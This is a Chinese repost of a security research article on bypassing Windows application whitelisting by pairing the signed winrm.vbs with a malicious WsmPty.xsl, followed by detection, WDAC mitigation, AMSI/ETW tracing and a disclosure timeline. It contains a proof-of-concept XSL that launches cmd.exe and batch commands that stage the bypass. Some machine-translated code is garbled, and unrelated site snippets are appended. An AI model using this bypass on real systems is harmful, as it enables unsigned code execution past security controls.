如何利用Winrm.vbs绕过白名单限制执行任意代码

技术如何利用Winrm.vbs绕过白名单限制执行任意代码这篇文章主要为大家展示了“如何利用Winrm.vbs绕过白名单限制执行任意代码”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习

本文主要向您展示如何使用Winrm.vbs绕过白名单限制,执行任意代码。内容简单易懂,条理清晰,希望能帮你解开疑惑。让边肖带领大家学习学习《如何使用Winrm.vbs绕过白名单限制执行任意代码》一文。

仅供参考。

绕过方法描述

winrm.vbs(一个位于system32目录下的具有Windows签名的脚本文件)可以被用来调用用户定义的XSL文件,从而导致任意的、没有签名的代码执行。当用户向winrm.vbs提供'-format:pretty'或者'-format:text'参数时,winrm.vbs将从cscript.exe所在目录读取WsmPty.xsl或Wsmtxt.xsl文件。这意味着若将cscript.exe拷贝到攻击者可以控制的目录下,并将恶意的XSL文件也置于相同路径中,攻击者将可以绕过签名保护而执行任意代码。这个攻击手段和Casey Smith的wmic.exe技术很相像。

绕过方法的POC

的整个工作流程如下:

1.将恶意的WsmPty.xsl或WsmTxt.xsl文件放在攻击者可以控制的目录中。

2.将cscript.exe或wscript.exe复制到同一目录。

根据第一步的恶意XSL文件(WsmPty.xsl或WsmTxt.xsl),执行winrm.vbs并提供不同的参数('-format :挺'或'-format:text ')。下面是一个恶意XSL文件的例子。文件可以放在上面第一步中的路径中(对于本例,c : \ bypassdir \ wsmpty . xsl):

?xmlversion='1.0 '?

样式表

xmlns=' http://www . w3 . org/1999/XSL/Transform ' xmlns : ms=' urn : schemas-Microsoft-com : xlt '

xmlns:user=“占位符”

版本='1.0 '

outputmethod='text'/

ms : scriptimplements-前缀='user'language='JScript '

![CDATA[

varr=newactivexoobject(' WScript。Shell ')。运行(' cmd . exe ');

]]/ms:script

/样式表一个更激进的XSL文件可以执行DotNetToJScript生成的Payload,这导致攻击者能够通过这种技术执行任何未签名的代码。以下批处理文件可用于在放置恶意XSL文件后启动paylaod:

mkdir%SystemDrive%\BypassDir

复制% windir % \ System32 \ cscript . exe % SystemDrive % \ BypassDir

% SystemDrive % \ BypassDir \ cscript//no logo % windir % \ System32 \ winrm . vbsgetwmicmv2/Win32 _ Process?我发现这个问题完全是偶然的。凯西和我使用wmic.exe研究了XSL旁路方法,不久之后,我开始检查系统附带的各种VBS和JScript文件,以找到更多的旁路方法。我开始检查这些脚本是因为马特尼尔森的。vbs注入技术启发了我。当我查阅winrm.vbs的源代码时,文件中的“WsmPty”和“WsmTxt”立刻引起了我的注意,因为Casey曾经在博客中说过,对于使用XSL的文件,它们可以通过在XSL文件中嵌入WSH脚本内容,从而有可能执行任意代码。毫无疑问,winrm.vbs也不例外。我非常注意查找这些具有Windows签名并可能导致任意代码执行的脚本或二进制文件。这是因为它们不仅可以绕过应用白名单防御,而且不容易被安全软件检查(至少在它们尚未发布时)。我会一直在去找他们的路上!

我是如何发现该问题的

要想有效地检测和保护上述方法,找到这类攻击手段所需的最小组件集是非常重要的。

攻击者控制了WsmPt。

y.xsl或者WsmTxt.xsl文件一定会被创建

winrm.vbs硬编码了这两个文件的名字,并明确将这两个文件同'pretty'或者'text'参数绑定到了一起。目前来看,这两个文件只可能当前工作目录中被获取(多数情况下就是cscript.exe所在的目录),而不太可能被重定向到其他位置。从防守的角度上来说,若一个WsmPty.xsl或WsmTxt.xsl文件与它们在System32目录下的版本具有不同哈希值,则我们可以认为这个XSL文件是可疑的。幸运的是,合法的XSL文件很少会有变化。

一个具有有效签名的winrm.vbs会被执行。若要利用本文的绕过方法,攻击者不能修改winrm.vbs的内容

通过在命令行中寻找'winrm.vbs'字符串这种防御手段是不足的,因为攻击者可以任意修改winrm.vbs的文件名。

调用winrm.vbs时的'format'参数必须指定为'pretty'或'text',这样winrm.vbs才会调用对应xsl文件

攻击者不仅仅可以采用'format'参数,下面的变种形式也是可以的(大小写敏感):

-format:pretty

-format:"pretty"

/format:pretty

/format:"pretty"

-format:text

-format:"text"

/format:text

/format:"text"

若仅仅查找'format'字符串可以检测到上述的所有变体,这种方法带来的误报会很多。'format:'后面所接内容的合法与否将取决于具体的公司环境。不过,对xsl文件的合法引用更多的来源于system32目录下的csript.exe和winrm.vbs文件,而不会来源于其他位置。

winrm.vbs应该是被cscript.exe执行的。winrm.vbs内部的逻辑验证了这一点。

winrm.vbs通过验证WScript.FullName是否包含了字符串'cscript.exe'这一点来验证其自身是被cscript.exe执行的。这个验证本身是不够完善的,因为它仅仅检查可执行文件的路径中是否包含'cscript.exe'字符串。这将导致攻击者可以从一个被重命名过的cscript.exe启动winrm.vbs,甚至可以用其他的脚本解释器(例如wscript.exe)来启动winrm.vbs。下面的批处理程序的例子解释了如何绕过winrm.vbs脚本中对'cscript.exe'的验证:

mkdir %SystemDrive%\BypassDir\cscript.exe
copy %windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

检测方法的健壮性

POC例子中的get wmicimv2/Win32_Process?Handle=4仅仅是为了说明实际的命令行参数将返回一些有意义的东西。这并不意味着这个方法需要WinRM服务被启用。有很多的选项都可以支持'format'参数。

足够健壮的检测手段不应该从命令行中检测'cscript.exe'或者'wscript.exe'作为判断依据。尽管如果攻击者没有刻意规避检测,这种检测方法可以检测到上文所述的攻击手段,但是攻击者若是将script.exe拷贝并重命名,检测手段就对此无能为力了。一个更加健壮的检测方法应该考虑检测二进制文件的签名以及它的'原始文件名'。'原始文件名'这一属性被嵌入到了二进制文件之中,并被签名所保护,而如果攻击者想要修改这一属性,二进制文件的签名将会失效。

缓解和阻止措施

本文提到的绕过方法可以通过启用Windows Defender Application Control(WDAC)的User Mode Code Integrity(UMCI)选项来阻止。由于目前并没有其他有效的方法阻止这些具有Windows签名的脚本文件运行,具有威胁的脚本文件将通过其哈希值被禁用。不过获取各个版本的脚本文件的哈希值会是很困难的,考虑到Windows如此庞大的版本数量。这篇博客详细说明了为什么通过哈希值禁用文件是不高效的。至于缓解措施,微软可以修改这个脚本文件的内容并重新进行签名。如果这样做的话,这将导致之前版本的脚本文件的签名失效。所以如果我们通过WDAC启用了脚本执行的签名保护,这些脚本的执行将失败。然而,这样的场景只能阻止一个非管理员账户进行攻击,因为攻击者可以通过管理员权限安装微软之前版本的catalog签名,从而恢复脚本文件的签名信息。上述的阻止和缓解措施都依赖于WDAC的开启。考虑到目前有大量企业并没有开启WDAC,就算winrm.vbs被微软修复,也没有什么措施可以阻止攻击将旧版本的winrm.vbs文件放在系统中并加以利用。因此,就算微软修复了winrm.vbs的问题,目前也没有真正足够健壮的方法可以防护此问题。

WSH/XSL脚本检测

这不是第一次WSH/XSL被攻击者滥用,也不会是最后一次。攻击者应该需要了解它们的payload到底是从磁盘中的文件被执行或者是完全在内存中被执行。通过ScriptLogging技术,Powershell完全具有这种能力。然而对于WSH来说,它们却不具备类似的能力。然而,只要你对于ETW熟悉,利用Antimalware Scan Interface(AMSI)捕获WSH的内容是完全可能的。AMSI通过Microsoft-Antimalware-Scan-Interface    ETW Provider被暴露出来。如果你想尝试获取ASMI事件,KrabsETW是你可以采用的最好的库之一。不过,若仅仅出于实验目的,你可以通过logman.exe获取ETL记录。下面的例子可以开始和暂停ETL的记录,并将ASMI相关的事件记录到ASMITrace.etl:

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
<After starting the trace, this is when you'd run your malicious code to capture its context.>
logman stop AMSITrace -ets

尽管本文章将不会讨论ETW技术,你可能还是想知道我是怎么知道'Microsoft-Antimalware-Scan-Interface'这一EWT Provider,并且上文中的'Event1'又是从何而来。我是通过logman query providers这一命令查找已注册providers的名称的。'Event1'这一关键字对应着捕获ASMI信息。为了找到这个关键字,我通过perfview.exe将ETW清单文件导出到XML。这个清单文件可以让你很清楚地了解到通过这一provider到底可以查询到哪些事件。

<instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events">
 <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">
  <events>
   <provider name="Microsoft-Antimalware-Scan-Interface" guid="{2a576b87-09a7-520e-c21a-4942f0271d67}" resourceFileName="Microsoft-Antimalware-Scan-Interface" messageFileName="Microsoft-Antimalware-Scan-Interface" symbol="MicrosoftAntimalwareScanInterface" source="Xml" ><keywords> <keyword name="Event1" message="$(string.keyword_Event1)" mask="0x1"/></keywords><tasks> <task name="task_0" message="$(string.task_task_0)" value="0"/></tasks><events> <event value="1101" symbol="task_0" version="0" task="task_0" level="win:Informational" keywords="Event1" template="task_0Args"/></events><templates> <template tid="task_0Args">  <data name="session" inType="win:Pointer"/>  <data name="scanStatus" inType="win:UInt8"/>  <data name="scanResult" inType="win:UInt32"/>  <data name="appname" inType="win:UnicodeString"/>  <data name="contentname" inType="win:UnicodeString"/>  <data name="contentsize" inType="win:UInt32"/>  <data name="originalsize" inType="win:UInt32"/>  <data name="content" inType="win:Binary" length="contentsize"/>  <data name="hash" inType="win:Binary"/>  <data name="contentFiltered" inType="win:Boolean"/> </template></templates>
   </provider>
  </events>
 </instrumentation>
 <localization>
  <resources culture="en-US">
   <stringTable><string id="keyword_Event1" value="Event1"/><string id="task_task_0" value="task_0"/>
   </stringTable>
  </resources>
 </localization>
</instrumentationManifest>

在捕获到ETL记录后,你就可以自己任意选择工具来进行分析。Get-WinEvent这一powershell命令就可以很好的解析ETL记录。我写了一个简单的脚本来解析ASMI事件。需要注意的是,WSH无法提供'contentname'这一属性,导致我们不得不手动解析这一事件信息。这个脚本也会捕获到powershell的内容。

# Script author: Matt Graeber (@mattifestation)
# logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
# Do your malicious things here that would be logged by AMSI
# logman stop AMSITrace -ets
$OSArchProperty = Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture
$OSArch = $OSArchProperty.OSArchitecture
$OSPointerSize = 32
if ($OSArch -eq '64-bit') { $OSPointerSize = 64 }
$AMSIScanEvents = Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]' | ForEach-Object {
    if (-not $_.Properties) {
        # The AMSI provider is not supplying the contentname property when WSH content is logged resulting
        # in Get-WinEvent or Event Viewer being unable to parse the data based on the schema.
        # If this bug were not present, retrieving WSH content would be trivial.
        $PayloadString = ([Xml] $_.ToXml()).Event.ProcessingErrorData.EventPayload
        [Byte[]] $PayloadBytes = ($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object {[Byte] "0x$_"})
        $MemoryStream = New-Object -TypeName IO.MemoryStream -ArgumentList @(,$PayloadBytes)
        $BinaryReader = New-Object -TypeName IO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode)
        switch ($OSPointerSize) {
            32 { $Session = $BinaryReader.ReadUInt32() }
            64 { $Session = $BinaryReader.ReadUInt64() }
        }
        $ScanStatus = $BinaryReader.ReadByte()
        $ScanResult = $BinaryReader.ReadInt32()
        $StringBuilder = New-Object -TypeName Text.StringBuilder
        do { $CharVal = $BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) } while ($CharVal -ne 0)
        $AppName = $StringBuilder.ToString()
        $null = $StringBuilder.Clear()
        $ContentSize = $BinaryReader.ReadInt32()
        $OriginalSize = $BinaryReader.ReadInt32()
        $ContentRaw = $BinaryReader.ReadBytes($ContentSize)
        $Content = [Text.Encoding]::Unicode.GetString($ContentRaw)
        $Hash = [BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '')
        [Bool] $ContentFiltered = $BinaryReader.ReadInt32()
        $BinaryReader.Close()
        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $null
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    } else {
        $Session = $_.Properties[0].Value
        $ScanStatus = $_.Properties[1].Value
        $ScanResult = $_.Properties[2].Value
        $AppName = $_.Properties[3].Value
        $ContentName = $_.Properties[4].Value
        $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
        $Hash = [BitConverter]::ToString($_.Properties[8].Value).Replace('-', '')
        $ContentFiltered = $_.Properties[9].Value
        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $ContentName
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    }
}
$AMSIScanEvents

在成功捕获之后,你就可以看到这次执行payload的内容了。pic here利用ETW进行相关检测并不是这篇文章的主题,不过希望这篇文章能够让你产生足够的兴趣,让你之后进行深入研究。

披露时间线

为了避免我们披露此问题后,攻击者利用该漏洞造成不良影响,我们一般会先向厂商报告漏洞并提供足够多的时间让它们修复问题。由于本文的漏洞涉及到Windows Defender Application Control,我们将这个问题提供给了Windows。整个时间线如下所示。

April 24, 2018 — 向MSRC报告此问题

April 24, 2018 — MSRC知晓了问题并提供了一个事件编号

April 30, 2018 — 收到邮件,告诉我们该问题已被复现

May 24, 2018 — 向MSRC发送邮件,要求更新

May 28, 2018 — 回复称评估过程仍在继续

June 10, 2018 — 向MSRC发送邮件,要求更新

June 11, 2018 — MSRC回复称计划在8月更新中修复问题

July 12, 2018 — MSRC回复称该问题不能通过安全更新方式解决,可能会在下一个版本更新中修复此问题。

以上是“如何利用Winrm.vbs绕过白名单限制执行任意代码”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注行业资讯频道!

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/63491.html

(0)

相关推荐

  • 描写花草树木的成语,描写花草树木的成语有什么写三个

    技术描写花草树木的成语,描写花草树木的成语有什么写三个花草树木的成语描写花草树木的成语: 繁花似锦、绿草如茵、郁郁葱葱、古树参天、万木争荣、百花齐放 花团锦簇、万紫千红、桃红柳绿草木皆兵 寸草不生 百花齐放 百花争艳 遍

    生活 2021年10月24日
  • 数据库主机名错误导致客户端TNS-12541怎么办

    技术数据库主机名错误导致客户端TNS-12541怎么办这篇文章主要介绍数据库主机名错误导致客户端TNS-12541怎么办,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!plsql登录出现TNS-12

    攻略 2021年11月17日
  • 竹字头一个见,竹字头下一个乍是什么字

    技术竹字头一个见,竹字头下一个乍是什么字笮 zuó 基本字义1. 用竹篾拧成的索:~桥(竹索桥)竹字头一个见。
    详细字义
    〈名〉
    1. 竹索。拉船的ň [bamboo rope]
    筰,筊也。从竹,作声。竹索也。——《说文

    生活 2021年10月26日
  • 利用虚拟机部署k8s集群(k8s部署在物理服务器还是虚拟机)

    技术二进制部署K8s中该怎么准备虚拟机二进制部署K8s中该怎么准备虚拟机 ,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。1、架构图2、环境准备准备5台2c/

    攻略 2021年12月15日
  • your的名词性物主代词,your的名词性物主代词

    技术your的名词性物主代词,your的名词性物主代词形容词性物主代词:   单数形式:my(我的)your的名词性物主代词,your(你的),his/her/its(他的、她的、它的)。  复数形式:our(我们的),

    2021年10月23日
  • 如何使用mysqlbinlog备份binlog搭建Binlog Server

    技术如何使用mysqlbinlog备份binlog搭建Binlog Server这篇文章给大家分享的是有关如何使用mysqlbinlog备份binlog搭建Binlog Server的内容。小编觉得挺实用的,因此分享给大

    攻略 2021年10月27日